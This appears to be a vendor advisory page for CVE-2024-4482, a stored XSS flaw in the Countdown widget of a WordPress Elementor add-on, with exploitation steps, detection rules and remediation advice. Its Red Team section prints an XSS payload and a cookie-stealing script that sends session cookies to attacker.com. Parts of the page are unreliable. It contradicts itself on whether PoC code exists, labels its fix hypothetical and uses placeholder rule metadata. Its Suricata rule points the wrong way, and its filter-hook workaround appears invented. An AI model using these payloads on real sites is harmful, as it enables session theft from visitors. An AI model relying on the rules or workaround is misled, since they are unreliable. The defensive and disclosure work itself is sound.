CVE-2024-4482
Executive Summary
CVE-2024-4482 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the The Plus Addons for Elementor WordPress plugin, affecting all versions up to and including 5.6.1. The flaw resides in the 'Countdown' widget, specifically within the text_days attribute. Due to insufficient input sanitization and output escaping, authenticated attackers with at least Contributor-level access can inject arbitrary web scripts. When a user visits a page containing the malicious widget, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.
This vulnerability is particularly dangerous in the WordPress ecosystem because it targets a widely-used page builder plugin, affecting thousands of sites. The CVSS score of 6.4 (Medium) reflects the need for authentication but also the potential for widespread impact due to the plugin's popularity. No public exploit code or proof-of-concept is currently available, but the attack vector is well-understood.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The Plus Addons for Elementor is distributed via the official WordPress Plugin Directory and third-party marketplaces. Users should verify the integrity of their plugin files by comparing checksums against the official repository. No known supply chain compromise has been reported, but the risk of malicious actors injecting backdoors into unpatched versions remains.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): Low – An attacker needs Contributor-level access or higher.
- User Interaction (UI): None – The victim does not need to perform any action beyond visiting the page.
- Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited information disclosure possible.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No impact on availability.
Threat Level: Medium. While authentication is required, the widespread use of the plugin and the ease of exploitation make this a significant risk for WordPress sites with multiple user roles.
Deep Dive & Mechanics
The vulnerability exists in the 'Countdown' widget of The Plus Addons for Elementor. The widget allows users to set custom text for days, hours, minutes, and seconds via attributes like text_days. The plugin fails to properly sanitize and escape this user-supplied input before rendering it in the HTML output.
Attack Flow:
- An authenticated attacker with Contributor-level access (or higher) creates or edits a page/post using the Elementor editor.
- The attacker adds the 'Countdown' widget and sets the
text_daysattribute to a malicious JavaScript payload, e.g.,<script>alert('XSS')</script>. - The plugin stores the payload in the WordPress database without proper sanitization.
- When any user (including administrators or visitors) views the page, the payload is rendered and executed in their browser.
Root Cause: The text_days attribute is output directly into the HTML without being passed through WordPress's esc_attr() or esc_html() functions, and without proper input validation.
Vulnerable vs. Patched Code
Vulnerable Code (version <= 5.6.1):
// In the Countdown widget render method
$text_days = $settings['text_days'];
echo '<span class="days-text">' . $text_days . '</span>';
Patched Code (hypothetical fix):
// Properly escape the output
$text_days = esc_html( $settings['text_days'] );
echo '<span class="days-text">' . $text_days . '</span>';
The fix involves using esc_html() to encode HTML entities, preventing script execution. Additionally, input validation should ensure only alphanumeric characters and spaces are allowed.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress installation with The Plus Addons for Elementor <= 5.6.1
- An account with Contributor-level privileges or higher
Steps:
- Log in to WordPress as a Contributor.
- Navigate to Pages > Add New and open the Elementor editor.
- Search for "Countdown" widget and drag it onto the page.
- In the widget settings, locate the "Days Text" field (attribute
text_days). - Inject the following payload:
<img src=x onerror=alert('XSS')> - Save and publish the page.
- When any user visits the page, the JavaScript executes.
Advanced Payload (session hijacking):
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual content in the
text_daysattribute of Countdown widgets. - Look for pages containing
<script>tags or event handlers (e.g.,onerror,onload) in widget settings. - Use Web Application Firewall (WAF) rules to block common XSS patterns.
Hardening:
- Immediately update the plugin to the latest version if a patch is released.
- Restrict Contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Use WordPress security plugins that scan for malicious content.
Indicators of Compromise (IOCs)
File Indicators:
- Modified or suspicious entries in the
wp_poststable containing<script>tags in post content. - Presence of JavaScript payloads in the
text_daysattribute within thewp_postmetatable.
- Modified or suspicious entries in the
Network Indicators:
- Outbound HTTP requests to known malicious domains from the WordPress server.
- Unusual
Refererheaders pointing to pages with Countdown widgets.
Log Indicators:
- WordPress audit logs showing creation/editing of pages by Contributor users with suspicious widget settings.
- Web server logs showing requests to pages with Countdown widgets followed by outbound connections.
Detection Engineering
YARA Rule
rule CVE_2024_4482_Stored_XSS {
meta:
description = "Detects stored XSS payloads in The Plus Addons for Elementor Countdown widget"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-4482"
strings:
$payload1 = /text_days["']?\s*[:=]\s*["'][^"']*<script/i
$payload2 = /text_days["']?\s*[:=]\s*["'][^"']*onerror/i
$payload3 = /text_days["']?\s*[:=]\s*["'][^"']*onload/i
condition:
any of them
}
Sigma Rule
title: CVE-2024-4482 Stored XSS in The Plus Addons for Elementor
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS payloads in the Countdown widget's text_days attribute
author: Valters IT
date: 2024/01/01
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: "/wp-admin/admin-ajax.php"
http.body|contains: "text_days"
http.body|contains|re: "(<script|onerror|onload)"
condition: selection
falsepositives:
- Legitimate use of JavaScript in widget settings (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-4482 Stored XSS in The Plus Addons for Elementor"; flow:to_server,established; content:"text_days"; http_client_body; pcre:"/(<script|onerror|onload)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update the plugin: If a patched version is released, update immediately. Check the WordPress Plugin Directory for updates.
- Disable the Countdown widget: Temporarily deactivate the widget via a custom plugin or code snippet until a patch is applied.
- Review user roles: Audit all Contributor-level users and revoke access for untrusted individuals.
Long-term Mitigations:
- Implement a Web Application Firewall (WAF) with XSS filtering rules.
- Enforce Content Security Policy (CSP) headers to block inline scripts.
- Regularly scan WordPress installations for vulnerable plugins using tools like WPScan.
- Educate content creators about the risks of XSS and safe coding practices.
Workaround (if patch is unavailable):
Add the following code to your theme's functions.php to sanitize the text_days attribute:
add_filter( 'theplus_widget_settings', function( $settings, $widget ) {
if ( $widget === 'countdown' && isset( $settings['text_days'] ) ) {
$settings['text_days'] = sanitize_text_field( $settings['text_days'] );
}
return $settings;
}, 10, 2 );
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.